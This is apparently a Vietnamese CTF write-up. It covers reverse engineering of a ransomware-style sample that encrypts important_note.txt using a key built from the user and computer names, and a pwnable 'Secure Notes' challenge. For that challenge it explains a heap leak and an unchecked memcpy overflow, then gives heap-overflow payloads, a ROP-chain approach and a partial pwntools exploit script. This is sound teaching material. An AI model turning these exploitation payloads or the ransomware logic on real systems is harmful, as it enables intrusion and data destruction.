int __usercall sub_B20280@<eax>(int a1@<edx>, int (__stdcall **a2)(int, int)@<ecx>, char *a3)
{
  int (__stdcall **v3)(int, int); // ebx
  int (__stdcall *v4)(int, int); // eax
  void (__stdcall *v5)(_BYTE *, int *); // eax
  int (__stdcall *v6)(int, int); // ecx
  void (__stdcall *v7)(_BYTE *, int *); // eax
  int (__stdcall *v8)(int, int); // ecx
  int (__stdcall *v9)(int, int, _DWORD, _DWORD, int *, int); // eax
  int (__stdcall *v10)(int, int); // ecx
  int (__stdcall *v11)(int, int, _DWORD, _DWORD, int *, int); // edi
  int (__stdcall *v12)(int, _DWORD, int, _DWORD, _DWORD, int *); // eax
  int (__stdcall *v13)(int, int); // ecx
  int v14; // eax
  int (__stdcall *v15)(int, int); // ecx
  void (__stdcall *v16)(int); // esi
  int (__stdcall *v17)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD); // eax
  int (__stdcall *v18)(int, int); // ecx
  int (__stdcall *v19)(int, _DWORD); // eax
  int (__stdcall *v20)(int, int); // ecx
  void (__stdcall *v21)(_DWORD); // ecx
  char v22; // al
  int v24; // eax
  int v25; // ebx
  int (__stdcall *v26)(int, _DWORD, int, _DWORD, _DWORD, int *); // eax
  int v27; // esi
  char v28; // cl
  char *v29; // edi
  _BYTE *v30; // esi
  _BYTE *v31; // esi
  int v32; // eax
  int (__stdcall **v33)(int, int); // esi
  bool v34; // al
  int (__stdcall *v35)(int, int); // ecx
  int (__stdcall *v36)(int, int); // eax
  char v38; // [esp+Ch] [ebp-3Ch] BYREF
  int v39; // [esp+Dh] [ebp-3Bh]
  char v40; // [esp+11h] [ebp-37h]
  int v41; // [esp+14h] [ebp-34h]
  void (__stdcall *v42)(int); // [esp+18h] [ebp-30h]
  void (__stdcall *v43)(_DWORD); // [esp+1Ch] [ebp-2Ch]
  int (__stdcall *v44)(int, int, _DWORD, _DWORD, int *, int); // [esp+20h] [ebp-28h]
  void (__stdcall *v45)(_BYTE *, int *); // [esp+24h] [ebp-24h]
  void (__stdcall *v46)(_BYTE *, int *); // [esp+28h] [ebp-20h]
  int (__stdcall *v47)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD); // [esp+2Ch] [ebp-1Ch]
  int (__stdcall *v48)(int, _DWORD, int, _DWORD, _DWORD, int *); // [esp+30h] [ebp-18h]
  int (__stdcall *v49)(int, _DWORD); // [esp+34h] [ebp-14h]
  int v50; // [esp+38h] [ebp-10h] BYREF
  int v51; // [esp+3Ch] [ebp-Ch] BYREF
  int (__stdcall **v52)(int, int); // [esp+40h] [ebp-8h]
  bool v53; // [esp+47h] [ebp-1h]
  int v54; // [esp+50h] [ebp+8h]

  v3 = a2;
  v41 = a1;
  v4 = *a2;
  v52 = a2;
  v50 = 6516325;
  v5 = (void (__stdcall *)(_BYTE *, int *))v4(483040486, 129557701);
  v6 = *v3;
  v46 = v5;
  v7 = (void (__stdcall *)(_BYTE *, int *))v6(249665980, 1071500813);
  v8 = *v3;
  v45 = v7;
  v9 = (int (__stdcall *)(int, int, _DWORD, _DWORD, int *, int))v8(483040486, 1470354217);
  v10 = *v3;
  v11 = v9;
  v44 = v9;
  v12 = (int (__stdcall *)(int, _DWORD, int, _DWORD, _DWORD, int *))v10(483040486, 1461157287);
  v13 = *v3;
  v48 = v12;
  v14 = v13(483040486, 110641196);
  v15 = *v3;
  v16 = (void (__stdcall *)(int))v14;
  v42 = (void (__stdcall *)(int))v14;
  v17 = (int (__stdcall *)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD))v15(483040486, 1251858184);
  v18 = *v3;
  v47 = v17;
  v19 = (int (__stdcall *)(int, _DWORD))v18(483040486, 1266602787);
  v20 = *v3;
  v49 = v19;
  v21 = (void (__stdcall *)(_DWORD))v20(483040486, (int)&unk_3875CFF);
  v22 = 0;
  v43 = v21;
  v53 = 0;
  if ( v46 && v45 && v11 && v48 && v16 && v47 && v49 && v21 )
  {
    v24 = ((int (__stdcall *)(char *, int, _DWORD, _DWORD, int, int, _DWORD))v44)(a3 + 50, -1073741824, 0, 0, 4, 128, 0);
    v25 = v24;
    if ( v24 != -1 )
    {
      v44 = (int (__stdcall *)(int, int, _DWORD, _DWORD, int *, int))v49(v24, 0);
      v26 = (int (__stdcall *)(int, _DWORD, int, _DWORD, _DWORD, int *))v48(v25, 0, 4, 0, 0, &v50);
      v48 = v26;
      if ( v26 )
      {
        v47 = (int (__stdcall *)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD))v47(v26, 983071, 0, 0, 0);
        if ( v47 )
        {
          v27 = ((int (__cdecl *)(int))v52[5])(256);
          v54 = v27;
          ((void (__cdecl *)(int, _DWORD, int))v52[3])(v27, 0, 256);
          v28 = *a3;
          if ( *a3 )
          {
            v29 = &a3[-v27];
            do
            {
              *(_BYTE *)v27++ = v28;
              v28 = v29[v27];
            }
            while ( v28 );
          }
          *(_BYTE *)v27 = 95;
          v30 = (_BYTE *)(v27 + 1);
          v51 = 100;
          v46(v30, &v51);
          for ( ; *v30; ++v30 )
            ;
          *v30 = 95;
          v31 = v30 + 1;
          v51 = 100;
          v45(v31, &v51);
          v32 = (int)&v31[v51 - v54];
          v33 = v52;
          v51 = v32;
          v34 = sub_B20100((int)v47, v52, v44, v54, v32);
          v35 = v33[6];
          v53 = v34;
          ((void (__cdecl *)(int))v35)(v54);
          v43(v47);
          v16 = v42;
        }
        v16(v25);
        v16((int)v48);
      }
      else
      {
        v16(v25);
      }
    }
    v22 = v53;
    v3 = v52;
  }
  v40 = v22;
  v36 = v3[1];
  v38 = 3;
  v39 = v41;
  return v36((int)&v38, 6);
}

Sau khi gọi 1 loạt các hàm liên quan đến file, chương trình thực hiện ghép chuỗi encrypted_by_pepega với CompName + UserName thành như sau

image

Lúc đầu mình tưởng key sẽ là encrypted_by_pepega_DESKTOP-R867K5S_hansha29 nhưng khi thấy chương trình load độ dài của key vào để mã hóa, lại load độ dài vào là 45 chứ không phải 44, nên mình kết luận rằng key sẽ phải là encrypted_by_pepega_DESKTOP-R867K5S_hansha29\x00. Đồng thời nó cũng đọc file important_note.txt, chắc là để mã hóa xong ghi đè vào luôn

Sau khi set các giá trị xong thì nó nhảy vào 1 hàm cuối cùng trông như hàm mã hóa, sau khi debug qua 1 lần mình sửa lại các tên biến là như sau

bool __usercall sub_B20100@<al>(
        int a1@<edx>,
        int (__stdcall **a2)(int, int)@<ecx>,
        int (__stdcall *a3)(int, int, _DWORD, _DWORD, int *, int),
        int a4,
        int a5)
{
  int (__stdcall *v6)(int *, _DWORD, _DWORD, int, int); // eax
  int (__stdcall *v7)(int, int); // edx
  int (__stdcall *v8)(int, int, _DWORD, _DWORD, int *, int); // eax
  int (__stdcall *v9)(int, int); // ecx
  void (__stdcall *v10)(int); // edi
  int (__stdcall *v11)(int, int, int); // eax
  int (__stdcall *v12)(int, int); // ecx
  void (__stdcall *v13)(int); // ebx
  int (__stdcall *v14)(int, int, int, int, int *); // eax
  int (__stdcall *v15)(int, int); // ecx
  void (__stdcall *v16)(int); // eax
  int (__stdcall *v17)(int, int); // ecx
  int v18; // eax
  bool v20; // bl
  int v21; // [esp+0h] [ebp-38h]
  void (__stdcall *v22)(int); // [esp+Ch] [ebp-2Ch]
  int (__stdcall *v23)(int, _DWORD, int, _DWORD, int, int (__stdcall **)(int, int, _DWORD, _DWORD, int *, int), int (__stdcall *)(int, int, _DWORD, _DWORD, int *, int)); // [esp+10h] [ebp-28h]
  int (__stdcall *v25)(int, int, _DWORD, _DWORD, int *, int); // [esp+18h] [ebp-20h] BYREF
  int (__stdcall *v26)(int *, _DWORD, _DWORD, int, int); // [esp+1Ch] [ebp-1Ch]
  void (__stdcall *v27)(int); // [esp+20h] [ebp-18h]
  int (__stdcall *v28)(int, int, int, int, int *); // [esp+24h] [ebp-14h]
  int (__stdcall *v29)(int, int, int); // [esp+28h] [ebp-10h]
  int v30; // [esp+2Ch] [ebp-Ch] BYREF
  int v31; // [esp+30h] [ebp-8h] BYREF
  int v32; // [esp+34h] [ebp-4h] BYREF

  CryptAcquireContextA = (int (__stdcall *)(int *, _DWORD, _DWORD, int, int))(*a2)(249665980, 1858846290);
  v7 = *a2;
  CryptAcquireContextA_ = CryptAcquireContextA;
  CryptCreateHash = (int (__stdcall *)(int, int, _DWORD, _DWORD, int *, int))v7(249665980, 1573185900);
  v9 = *a2;
  CryptCreateHash_ = CryptCreateHash;
  CryptReleaseContext = (void (__stdcall *)(int))v9(249665980, 1229890258);
  CryptHashData = (int (__stdcall *)(int, int, int))(*a2)(0xEE199BC, 0x7815B132);
  v12 = *a2;
  CryptHashData_ = CryptHashData;
  CryptDestroyHash = (void (__stdcall *)(int))v12(0xEE199BC, 0x1EB84116);
  CryptDestroyHash_ = CryptDestroyHash;
  CryptDeriveKey = (int (__stdcall *)(int, int, int, int, int *))(*a2)(0xEE199BC, 0x21695E2A);
  v15 = *a2;
  CryptDeriveKey_ = CryptDeriveKey;
  CryptDestroyKey = (void (__stdcall *)(int))v15(0xEE199BC, 0x1B98AC67);
  v17 = *a2;
  CryptDestroyKey_ = CryptDestroyKey;
  CryptEncrypt = v17(0xEE199BC, 0x2B75EDEF);
  CryptEncrypt_ = (int (__stdcall *)(int, _DWORD, int, _DWORD, int, int (__stdcall **)(int, int, _DWORD, _DWORD, int *, int), int (__stdcall *)(int, int, _DWORD, _DWORD, int *, int)))CryptEncrypt;
  v32 = 0;
  v31 = 0;
  v30 = 0;
  if ( !CryptAcquireContextA_
    || !CryptCreateHash_
    || !CryptReleaseContext
    || !CryptHashData_
    || !CryptDestroyHash
    || !CryptDeriveKey_
    || !CryptDestroyKey_
    || !CryptEncrypt
    || !CryptAcquireContextA_(&v32, 0, 0, 24, -268435456) )
  {
    return 0;
  }
  if ( !CryptCreateHash_(v32, 0x800C, 0, 0, &v31, v21) )
  {
LABEL_13:
    CryptReleaseContext(v32);
    return 0;
  }
  if ( !CryptHashData_(v31, a4, a5) || !CryptDeriveKey_(v32, 0x6801, v31, 0x580011, &v30) )
  {
    ((void (__stdcall *)(int, _DWORD))CryptDestroyHash)(v31, 0);
    goto LABEL_13;
  }
  CryptCreateHash_ = a3;
  v20 = CryptEncrypt_(v30, 0, 1, 0, a1, &CryptCreateHash_, a3) != 0;
  CryptDestroyKey_(v30);
  CryptDestroyHash_(v31);
  ((void (__stdcall *)(int, _DWORD))CryptReleaseContext)(v32, 0);
  return v20;
}

Sau khi chạy qua hàm CryptEncrypt_(v30, 0, 1, 0, a1, &CryptCreateHash_, a3), thì 1 loạt data mới đã được khi đè vào file important_note.txt

image

Sau khi phân thích hết các gói tin, mình kết luận rằng ta cần phải tìm được tên người dùng của nạn nhân và tên máy tính của nạn nhân. Vì các gói tin phản hồi đã được mã hóa, nên việc ta cần làm là giải mã nó xem có sử dụng được gì không nhưng mình thu gọn được phạm vi kiểm tra xuống chỉ còn 3 gói tin cuối, vì các gói tin bên trên thường chỉ là phản hồi của lib hoặc shell, chứ không phải resquest. Giờ ta có 2 hướng để làm, 1 là code mô phỏng lại thuật toán giải mã của chương trình. Nhưng với thằng code gà như mình thì mình sẽ tìm trick. Mình nảy ra ý tưởng là sao không gửi đống data được trả về để cho chương trình decode cho mình luôn nhỉ=)))))). Và đây là thành quả mình thu được

image

Từ đây mình có thể đoán được rằng tên người dùng là johndoe. Tương tự như vậy, mình cũng tìm ra được tên máy là DESKTOP-O6RCQQC. Qua đó ta có key là encrypted_by_pepega_DESKTOP-O6RCQQC_johndoe\x00. Patch key vào, set lại len cho chuẩn và cho chạy qua hàm encrypt là xong. Kết quả

image

image

Pwnable

pwn02: CoolPool

WriteUp chi tiếtcredit: ajomix

pwn03-flag1: Secure Notes

credit: Naox13

Trong file zip của challenge có 2 binary là interfacebackend

Đọc file start.sh để biết chương trình chạy như thế nào

Screenshot 2024-02-01 141227

Chạy interface với argument là backend

Screenshot 2024-02-01 141440

Option 1

void add_new_note()
{
    char title[32];
    char author[32];
    char buf[64];
    char passwd_hash[SHA256_DIGEST_LENGTH];
    int is_encrypt;
    uint32_t content_len;

    if(notes_size > MAX_NOTE){
        printf("Unable to add new note\n");
        return;
    }

    printf("Title: ");
    read_line(title, sizeof(title) - 1);
    printf("Author: ");
    read_line(author, sizeof(author) - 1);

    do{
        printf("Wanna encrypt this notes? (y/n) ");
        read_line(buf, sizeof(buf));
    }while(buf[0] != 'y' && buf[0] != 'n');

    is_encrypt = buf[0] == 'y' ? 1 : 0;

    Note_t new_note = Note_init(title, author, 0, is_encrypt);
    if(is_encrypt){
        printf("What is your passwd? ");
        bzero(buf, sizeof(buf));

        read_line(buf, sizeof(buf) - 1);
        SHA256((const unsigned char *)buf, strlen(buf), (unsigned char *)passwd_hash);
    }

    printf("How many bytes for content? ");
    content_len = read_int();
    if(content_len > MAX_CONTENT_LEN){
        content_len = MAX_CONTENT_LEN;
    }

    printf("Content: \n");
    new_note->note_content = malloc(content_len);
    new_note->note_content_len = content_len;
    fgets(new_note->note_content, content_len, stdin);

    if(is_encrypt){
        // sync this note to backend
        size_t send_size = sizeof(struct msg_hdr) + sizeof(struct NoteSerialize) + sizeof(passwd_hash) + content_len;
        msg_hdr_t send_msg = malloc(send_size);
        send_msg->action = COMMIT;
        send_msg->msg_size = send_size - sizeof(struct msg_hdr);
        NoteSerialize_t serialize_p = (NoteSerialize_t)send_msg->msg_content;
        memcpy(&(serialize_p->common), &(new_note->common), sizeof(struct NoteCommon));
        serialize_p->note_content_len = sizeof(passwd_hash) + content_len;
        memcpy(serialize_p->content, passwd_hash, sizeof(passwd_hash));
        memcpy(&(serialize_p->content[sizeof(passwd_hash)]), new_note->note_content, new_note->note_content_len);

        send_data(&ipc, RECEIVER, send_msg, send_size);
        free(send_msg);

        uint64_t status = 0;
        int rc = recv_data_timeout(&ipc, SENDER, NULL, (uint64_t *)&status, 60);

        if(IS_ERR(rc) || status != OK){
            printf("Unable to sync this note to server :(, destroying this note\n");
            Note_destroy(new_note);
            return;
        }

        free(new_note->note_content);
        new_note->note_content = NULL;
        new_note->note_synced = 1;
    }

    DL_APPEND(notes, new_note);
    notes_size++;
    puts("Added");
}

Khởi tạo1 note. Nếu như chọn option encrypt thì hàm này sẽ tạo 1 key bằng cách lấy hash SHA256 của password mình nhập vào rồi gửi cho backend để backend mã hóa, còn không thì sẽ chỉ tạo note đó trên interface

1 số structs mà interface sử dụng

struct Note {
    struct NoteCommon common;
    char *note_content;
    struct Note *prev;
    struct Note *next;
};
struct NoteSerialize {
    struct NoteCommon common;
    char content[];
};
struct NoteCommon {
    char title[MAX_LEN];
    char author[32];
    uint32_t content_len;
    uint32_t flags;
    uint32_t encrypt:1;
    uint32_t synced:1; // unsed in backend
};
typedef enum Action {
    NONE = 0,
    COMMIT = 1,
    FETCH = 2,
    DELETE = 3,
    AUTH = 4,
    TRUNCATED = 5 // use for reply_msg is larger than SHM_MEM_MAX_SIZE
} Action;

struct msg_hdr {
    Action action;
    uint32_t msg_size;
    char msg_content[];
};

Option 2:

void list_note()
{
    Note_t tnote;
    DL_FOREACH(notes, tnote){
        printf("Title: %s\n", tnote->note_title);
        printf("Author: %s\n", tnote->note_author);
        if(tnote->note_is_encrypt){
            printf("Content: (Encrypted)\n");
        } else {
            printf("Content: %s\n", tnote->note_content);
        }
    }
}

Đơn giản là in ra content của các note(nếu không được mã hóa)

Option 3:

void read_note()
{
    struct Note s_note;
    Note_t tmp;
    char buf[64];
    char passwd_hash[SHA256_DIGEST_LENGTH];
    msg_hdr_t send_msg;
    msg_hdr_t recv_msg;
    size_t recv_size = 0;
    size_t send_size = 0;
    NoteSerialize_t serialize_p;
    Status status;
    int rc;

    bzero(&s_note, sizeof(struct Note));
    printf("Title: ");
    read_line(s_note.note_title, sizeof(s_note.note_title) - 1);
    printf("Author: ");
    read_line(s_note.note_author, sizeof(s_note.note_author) - 1);

    DL_SEARCH(notes, tmp, &s_note, Note_cmp);
    if(!tmp){
        printf("Unable to find your note\n");
        return;
    }

    if(tmp->note_is_encrypt){
        printf("Password? ");
        read_line(buf, sizeof(buf) - 1);
        // sha1 here
        SHA256((const unsigned char *)buf, strlen(buf), (unsigned char *)passwd_hash);

        // read from backend
        send_size = sizeof(struct msg_hdr) + sizeof(struct NoteSerialize) + SHA256_DIGEST_LENGTH;
        send_msg = malloc(send_size);
        send_msg->action = FETCH;
        send_msg->msg_size = send_size - sizeof(struct msg_hdr);
        serialize_p = (NoteSerialize_t)send_msg->msg_content;

        memcpy(&(serialize_p->common), &(tmp->common), sizeof(struct NoteCommon));
        memcpy(serialize_p->content, passwd_hash, sizeof(passwd_hash));

        send_data(&ipc, RECEIVER, send_msg, send_size);
        free(send_msg);

        rc = recv_data_timeout(&ipc, SENDER, (void **)&recv_msg, &recv_size, 60);
        if(IS_ERR(rc) || recv_size < sizeof(struct msg_hdr)){
            printf("Unable to read content\n");
            return;
        }

        serialize_p = (NoteSerialize_t)recv_msg->msg_content;
        printf("Content: %s\n", serialize_p->content);

    } else {
        printf("Content: %s\n", tmp->note_content);
    }
}

Chọn 1 note để in ra content. Nếu note được mã hóa thì sẽ lấy content trên backend bằng cách đưa cho password để chương trình tạo key và thông qua xác thực thì mới lấy được nội dung của note. Còn nếu không bị encrypt thì lấy luôn content của note trên interface

Option 4:

void edit_note()
{
    struct Note s_note;
    Note_t tmp;
    char buf[64];
    char passwd_hash[SHA256_DIGEST_LENGTH];
    msg_hdr_t send_msg;
    size_t send_size = 0;
    NoteSerialize_t serialize_p;
    uint64_t status;
    int rc;

    bzero(&s_note, sizeof(struct Note));
    printf("Title: ");
    read_line(s_note.note_title, sizeof(s_note.note_title) - 1);
    printf("Author: ");
    read_line(s_note.note_author, sizeof(s_note.note_author) - 1);

    DL_SEARCH(notes, tmp, &s_note, Note_cmp);
    if(!tmp){
        printf("Unable to find your note\n");
        return;
    }

    if(tmp->note_is_encrypt){
        printf("Password ?");
        read_line(buf, sizeof(buf) - 1);
        // sha256
        SHA256((const unsigned char *)buf, strlen(buf), (unsigned char *)passwd_hash);

        // sync with server
        send_size = sizeof(struct msg_hdr) + sizeof(struct NoteSerialize) + sizeof(passwd_hash);
        send_msg = malloc(send_size);
        send_msg->action = AUTH;
        send_msg->msg_size = send_size - sizeof(struct msg_hdr);
        serialize_p = (NoteSerialize_t)send_msg->msg_content;
        memcpy(&(serialize_p->common), &(tmp->common), sizeof(struct NoteCommon));
        serialize_p->note_content_len = sizeof(passwd_hash);
        memcpy(serialize_p->content, passwd_hash, sizeof(passwd_hash));

        send_data(&ipc, RECEIVER, send_msg, send_size);
        free(send_msg);

        rc = recv_data_timeout(&ipc, SENDER, NULL, &status, 60);
        if(IS_ERR(rc) || status != OK){
            printf("Authenticate was failed\n");
            return;
        }
        printf("Access granted\n");
    }

    printf("New content len?");
    uint32_t content_len = read_int();
    content_len = content_len < MAX_CONTENT_LEN ? content_len: MAX_CONTENT_LEN;

    printf("New content:\n");
    if(tmp->note_is_encrypt){
        tmp->note_content = malloc(content_len);
        tmp->note_content_len = content_len;
        fgets(tmp->note_content, content_len, stdin);
        // sync with server
        send_size = sizeof(struct msg_hdr) + sizeof(struct NoteSerialize) + sizeof(passwd_hash) + content_len;
        send_msg = malloc(send_size);
        send_msg->action = COMMIT;
        send_msg->msg_size = send_size - sizeof(struct msg_hdr);
        serialize_p = (NoteSerialize_t)send_msg->msg_content;
        memcpy(&(serialize_p->common), &(tmp->common), sizeof(struct NoteCommon));

        serialize_p->note_content_len += sizeof(passwd_hash);
        memcpy(serialize_p->content, passwd_hash, sizeof(passwd_hash));
        memcpy(serialize_p->content + sizeof(passwd_hash), tmp->note_content, tmp->note_content_len);

        free(tmp->note_content);
        tmp->note_content = NULL;

        send_data(&ipc, RECEIVER, send_msg, send_size);
        free(send_msg);

        rc = recv_data_timeout(&ipc, SENDER, NULL, (uint64_t *)&status, 60);
        if(IS_ERR(rc) || status != OK){
            printf("Unable to update your content\n");
            return;
        }
        tmp->note_synced = 1;
    } else {
        if(tmp->note_content){
            free(tmp->note_content);
        }
        tmp->note_content = malloc(content_len);
        tmp->note_content_len = content_len;
        fgets(tmp->note_content, content_len, stdin);
        tmp->note_synced = 0;
    }
}

Chọn 1 note để thay đổi content. Nếu được mã hóa thì sẽ phải qua bước xác thực tới backend còn không thì sẽ chỉ thay đổi content trên interface

Cuối cùng là hàm note_sync ở option 6

int note_sync(int flag)
{
    msg_hdr_t msg_hdr = NULL;
    uint32_t send_size, recv_size;
    struct msg_hdr inline_msg_hdr;
    Note_t cur_note, next_note, next_note2;
    NoteSerialize_t serialize_p;
    uint64_t status;
    uint32_t read_count = 0;
    int rc;

    if(flag == 1){
        send_size = sizeof(struct msg_hdr);

        next_note = notes;
        next_note2 = notes;

        // commit un-synced note to backend
        DL_FOREACH(next_note, cur_note){
            if(cur_note->note_synced)
                continue;
            send_size += sizeof(struct NoteSerialize) + cur_note->note_content_len;
            if(send_size > SHM_MEM_MAX_SIZE){
                next_note = cur_note;
                break;
            }
        }

        if(send_size == sizeof(struct msg_hdr)){
            printf("All notes was synced\n");
            return 0;
        }

        msg_hdr = malloc(send_size);
        msg_hdr->action = COMMIT;
        msg_hdr->msg_size = send_size - sizeof(struct msg_hdr);
        serialize_p = (NoteSerialize_t)msg_hdr->msg_content;

        DL_FOREACH(next_note2, cur_note) {
            if(cur_note->note_synced)
                continue;
            memcpy(&(serialize_p->common), &(cur_note->common), sizeof(struct NoteCommon));
            memcpy(serialize_p->content, cur_note->note_content, cur_note->note_content_len);
            serialize_p = (NoteSerialize_t)((size_t)serialize_p + sizeof(struct NoteSerialize) + cur_note->note_content_len);
            cur_note->note_synced = 1;
        }

        send_data(&ipc, RECEIVER, msg_hdr, send_size);
        free(msg_hdr);

        rc = recv_data_timeout(&ipc, SENDER, NULL, (uint64_t *)&status, 60);
        if(IS_ERR(rc) || status != OK){
            printf("Unable to commit data to backend\n");
            return 1;
        }

    } else {
        // fetch from backend
        inline_msg_hdr.action = FETCH;
        inline_msg_hdr.msg_size = 0xFFFFFFFF; // fetch all except encrypted note content
        send_data(&ipc, RECEIVER, &inline_msg_hdr, sizeof(inline_msg_hdr));

        int truncated = 0;
        do{
            truncated = 0;
            rc = recv_data_timeout(&ipc, SENDER, (void **)&msg_hdr, (uint64_t *)&recv_size, 60);
            if(IS_ERR(rc) || recv_size < sizeof(struct msg_hdr)){
                if((Status)recv_size == OK){
                    return 0;
                } else {
                    printf("Unable to fetch data from backend\n");
                    return 1;
                }
            }

            if(msg_hdr->action == TRUNCATED)
                truncated = 1;

            Note_t search_note;
            // parse from backend
            while(read_count < msg_hdr->msg_size){
                serialize_p = (NoteSerialize_t)((size_t)msg_hdr->msg_content + read_count);
                Note_t new_note = Note_init(serialize_p->note_title,
                                            serialize_p->note_author,
                                            serialize_p->note_content_len,
                                            serialize_p->note_is_encrypt);

                read_count += sizeof(struct NoteSerialize);
                Note_t p_note;
                DL_SEARCH(notes, search_note, new_note, Note_cmp);
                p_note = search_note;
                if(!search_note){
                    p_note = new_note;
                }

                // update new content
                if(!p_note->note_is_encrypt){
                    memcpy(p_note->note_content, serialize_p->content, serialize_p->note_content_len);
                    read_count += new_note->note_content_len;
                }

                if(p_note->note_is_encrypt) {
                    p_note->note_synced = 1;
                    if(p_note->note_content){
                        free(p_note->note_content);
                        p_note->note_content = NULL;
                    }
                }

                if(!search_note){
                    DL_APPEND(notes, new_note);
                } else {
                    Note_destroy(new_note);
                }
            }

            if(truncated){
                // signal backend send next data
                send_data(&ipc, RECEIVER, NULL, OK);
            }
        } while(truncated);
    }
    return 0;
}

Sẽ có 2 option đó là c hoặc s. c tức là COMMIT tất cả các note của interface lên backend, s là cập nhật tất cả note của backend về interface

Tìm Bug

Ở hàm edit_note

if(tmp->note_content){
    free(tmp->note_content);
}
tmp->note_content = malloc(content_len);
tmp->note_content_len = content_len;
fgets(tmp->note_content, content_len, stdin);
tmp->note_synced = 0;

Khi malloc thì chương trình không khởi tạo giá trị ban đầu nên vẫn còn sót lại trên heap nên có thể leak dc

Edit note với cùng 1 size thì khi malloc nó sẽ nhận lại chunk vừa free

Chunk khi vừa được free

Screenshot 2024-02-01 143121

Sau hàm fgets

Screenshot 2024-02-01 143207

Như vậy là có thể leak được heap

new_note(b'a', b'a', 1, b'a')
edit_note(b'a', b'a', 1, b'a')

Tương tự ta tạo 1 note với content lớn để có unsorted bin để leak libc. Cần phải tạo thêm 1 note khác để chương trình malloc1 chunk ở sau khi free chunk lớn thành unsorted bin sẽ không bị nhập vào top chunk

edit_note(b'a', b'a', 0x500, b'a')
new_note(b'b', b'b', 1, b'b')
edit_note(b'a', b'a', 1, b'a')

Như vậy là giờ mình đã có heaplibc

Bug tiếp theo nằm ở hàm note_sync khi lấy data từ backend về interface

Note_t search_note;
// parse from backend
while(read_count < msg_hdr->msg_size){
    serialize_p = (NoteSerialize_t)((size_t)msg_hdr->msg_content + read_count);
    Note_t new_note = Note_init(serialize_p->note_title,
                                serialize_p->note_author,
                                serialize_p->note_content_len,
                                serialize_p->note_is_encrypt);

    read_count += sizeof(struct NoteSerialize);
    Note_t p_note;
    DL_SEARCH(notes, search_note, new_note, Note_cmp);
    p_note = search_note;
    if(!search_note){
        p_note = new_note;
    }

    // update new content
    if(!p_note->note_is_encrypt){
        memcpy(p_note->note_content, serialize_p->content, serialize_p->note_content_len);
        read_count += new_note->note_content_len;
    }

    if(p_note->note_is_encrypt) {
        p_note->note_synced = 1;
        if(p_note->note_content){
            free(p_note->note_content);
            p_note->note_content = NULL;
        }
    }

Nếu như tìm thấy note trên interface thì mặc nhiên nó sẽ memcpy nội dung từ backend vào content của interface mà sẽ không check bound. Vậy thì nếu như note trên interfacecontent size khác với trên backend thì ta sẽ có BOF

Đầu tiên để đẩy note lên backend thì mình dùng note_sync(1) như vậy thì mỗi note chương trình sẽ đánh dấu cur_note->note_synced = 1;

Khi mà edit_note để thay đổi size của content thì nó sẽ không quan tâm đến flag đó mà chỉ quan tâm đến flag is_encrypt nếu không có thì sẽ chỉ đổi content trên interface mà không commit tới backend. Như vậy là ta có heap overflow

Khai Thác

Đầu tiên mình tạo 1 note với size lớn, sau đó dùng sync_note(1) để commit tới backend sau đó thay đổi content note đó thành size bé hơn rồi tạo thêm 1 note mới để heap overflow sẽ overwrite note mới đó

payload = b'A'*0x10
payload += p64(0) + p64(0x91)
payload += p64(0x62) + p64(0)*7
payload += p64(0x62) + p64(0)*3
payload += p64(0x10) + p64(0) + p64(libc.symbols['environ']) + p64(heap + 0x370)
payload += p64(0) + p64(0x21)
payload += p64(libc.address + 0x21ace0)*2
payload += p64(0) + p64(0x91)
payload += p64(0x61) + p64(0)*7
payload += p64(0x61) + p64(0)*3
payload += p64(0x200) + p64(0)*4 + p64(0xf1)
payload += p64(libc.address + 0x21ace0)*2
payload = payload.ljust(0x200, b'\x00')
new_note(b'a', b'a', 0x200, payload)
note_sync('c')
edit_note(b'a', b'a', 1, b'a')
new_note(b'b', b'b', 1, b'hehe')

Để trigger bug

note_sync('s')

Chạy đến memcpy

Screenshot 2024-02-01 144351

Copy 0x200 bytes

Screenshot 2024-02-01 144404

Ta thấy chunk 0x55969bf77610 chỉ có size 0x20 và phía trên là note thứ 2 mà mình tạo. Craft payload để ghi đè note đó. Thay đổi content thành environ để leak stack

payload = b'A'*0x10
payload += p64(0) + p64(0x91)
payload += p64(0x62) + p64(0)*7
payload += p64(0x62) + p64(0)*3
payload += p64(0x10) + p64(0) + p64(libc.symbols['environ']) + p64(heap + 0x370)
payload += p64(0) + p64(0x21)
payload += p64(libc.address + 0x21ace0)*2
payload += p64(0) + p64(0x91)
payload += p64(0x61) + p64(0)*7
payload += p64(0x61) + p64(0)*3
payload += p64(0x200) + p64(0)*4 + p64(0xf1)
payload += p64(libc.address + 0x21ace0)*2
payload = payload.ljust(0x200, b'\x00')

Sau khi memcpy

Screenshot 2024-02-01 144625

Như vậy là ta đã có stack

Tiếp theo mình sẽ lại khai thác lỗi này để tạo ropchain

Lại tạo 1 note có content lớn và 1 note khác để commit tới backend, lần này sẽ trigger 2 lần memcpy. Lần đầu tiên sẽ dùng memcpy để overwrite 1 note như vừa rồi, memcpy thứ 2 sẽ dùng để tạo ropchain

Lần memcpy đầu tiên

Screenshot 2024-02-01 144934

Overwrite content của note tiếp theo thành saved rip của note_sync

Screenshot 2024-02-01 145006

Screenshot 2024-02-01 145014

Lần memcpy thứ 2

Screenshot 2024-02-01 145135

Cuối cùng ta có ropchain

Screenshot 2024-02-01 145217

Screenshot 2024-02-01 145249

Script:

from pwn import *
import psutil

sla = lambda delim, data: p.sendlineafter(delim, data)
sa = lambda delim, data: p.sendafter(delim, data)


interface = context.binary = ELF('interface')
libc = ELF('libc.so.6')


def pidof(name):
    pid = 0
    for proc in psutil.process_iter():
        if name == proc.name():
            pid = proc.pid
            break
    return pid

def choice(i):
    sla(b'Choice: ', str(i).encode())
def new_note(title, author, content_len, content, encrypt = None):
    choice(1)
    sla(b'Title', title)
    sla(b'Author', author)
    if encrypt != None:
        sla(b'notes?', b'y')
        sla(b'passwd? ', encrypt)
    else:
        sla(b'notes?', b'n')
    sla(b'content?', str(content_len).encode())
    sa(b'Content: ', content)
    p.sendline(b'')
def list_note():
    choice(2)
def read_note(title, author, encrypt = None):
    choice(3)
    sla(b'Title', title)
    sla(b'Author', author)
    if encrypt != None:
        sla(b'Password', encrypt)
def edit_note(title, author, content_len, content, encrypt = None):
    choice(4)
    sla(b'Title', title)
    sla(b'Author', author)
    if encrypt != None:
        sla(b'Password', encrypt)
    sla(b'len', str(content_len).encode())
    sla(b'content', content)
def delete_note(title, author, encrypt = None):
    choice(5)
    sla(b'Title', title)
    sla(b'Author', author)
    if encrypt != None:
        sla(b'password', encrypt)
